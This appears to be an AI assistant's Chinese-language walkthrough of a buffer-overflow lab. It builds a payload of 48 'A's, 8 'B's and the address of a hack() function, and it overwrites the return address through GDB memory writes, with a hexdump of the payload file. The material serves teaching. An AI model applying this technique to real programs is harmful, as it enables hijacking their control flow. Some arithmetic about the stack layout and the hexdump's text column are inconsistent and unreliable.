✅ 为什么是 b"A"*48b"B"*8

你写的 C 代码:

#define BUFSIZE 32
char buf[BUFSIZE]; // buf[32]
const int fav_number = 12; // 4 字节

你用的是 x86_64 架构(64-bit Linux),栈的布局是这样的:

[低地址]
|----------------------|
|       buf[32]        | <- 0x20 bytes = 32 bytes
|----------------------|
|  padding(可选)     |
|----------------------|
|  fav_number (int)    | <- 4 bytes
|----------------------|
|   padding (对齐)     | <- 为了对齐,补上 4 字节,使栈帧对齐到 16 bytes(这是 ABI 要求)
|----------------------|
| saved %rbp (8 字节)  | <- 函数调用前 `push %rbp`
|----------------------|
| return address (8字) | <- 函数调用时由 `call` 指令压入
[高地址]

在实际编译中,由于对齐要求,buf[32] + fav_number(4) + padding(4) + saved RBP(8) = 共占用 48 + 8 字节,所以:

  • b"A"*48:覆盖 buf[32] + fav_number + padding
  • b"B"*8:覆盖 saved rbp
  • 再紧跟着的 8 字节就是 返回地址,我们要用 hack() 的地址覆盖它

所以:48 是结构体大小,8 是 saved rbp 的大小。

你在 GDB 中打印 $rbp+8(也就是返回地址的位置),验证了就是 main() 的下一条指令地址,所以我们需要覆盖它。


✅ 如果用 GDB 操作怎么做溢出攻击?

我们可以在 GDB 中直接往内存写入 payload。

假设你已经到了 foo()gets(buf) 的断点位置,你可以这样做:

(gdb) break foo
(gdb) run

然后到了断点后,查看 buf 的地址:

(gdb) info frame
# 或者
(gdb) p &buf
$1 = (char (*)[32]) 0x7fffffffd6d0

你就可以直接修改内存:

# 把前48字节写成A
(gdb) set {char[48]} 0x7fffffffd6d0 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

# 再覆盖 rbp 为BBBBBBBB
(gdb) set {char[8]} 0x7fffffffd700 = "BBBBBBBB"

# 再设置返回地址为 hack() 函数地址,比如 0x40113a(用 info address hack 获取)
(gdb) set {long} 0x7fffffffd708 = 0x40113a

然后继续执行:

(gdb) continue

如果成功,你会看到:

you've been hacked!

❗ 关于你对 payload.txt 的误解

你问:是不是 payload.txt 写了那段 Python 命令文本?

不是的!不是把命令的文字写进去,而是把命令运行的输出结果”写进去了!

也就是说:

python3 -c 'import sys; sys.stdout.buffer.write(...)' > payload.txt

执行后,payload.txt 是一个二进制文件,里面是 b"A"*48 + b"B"*8 + 地址 的内容,不是 Python 源代码。

你可以用 hexdumpxxd 来验证:

xxd payload.txt

你会看到:

00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 4242 4242 4242 4242  AAAABBBBBBBB
00000030: 3a11 4000 0000 0000                      :.@.....

✅ 小结

内容 解释
b"A"*48 覆盖 buf、fav_number、padding
b"B"*8 覆盖 saved %rbp
b"\x3a\x11\x40\x00..." 覆盖返回地址,跳转到 hack()
payload.txt 是构造好的二进制攻击输入,不是命令文本
GDB 方法 可以手动向 buf 开始的位置写入这些数据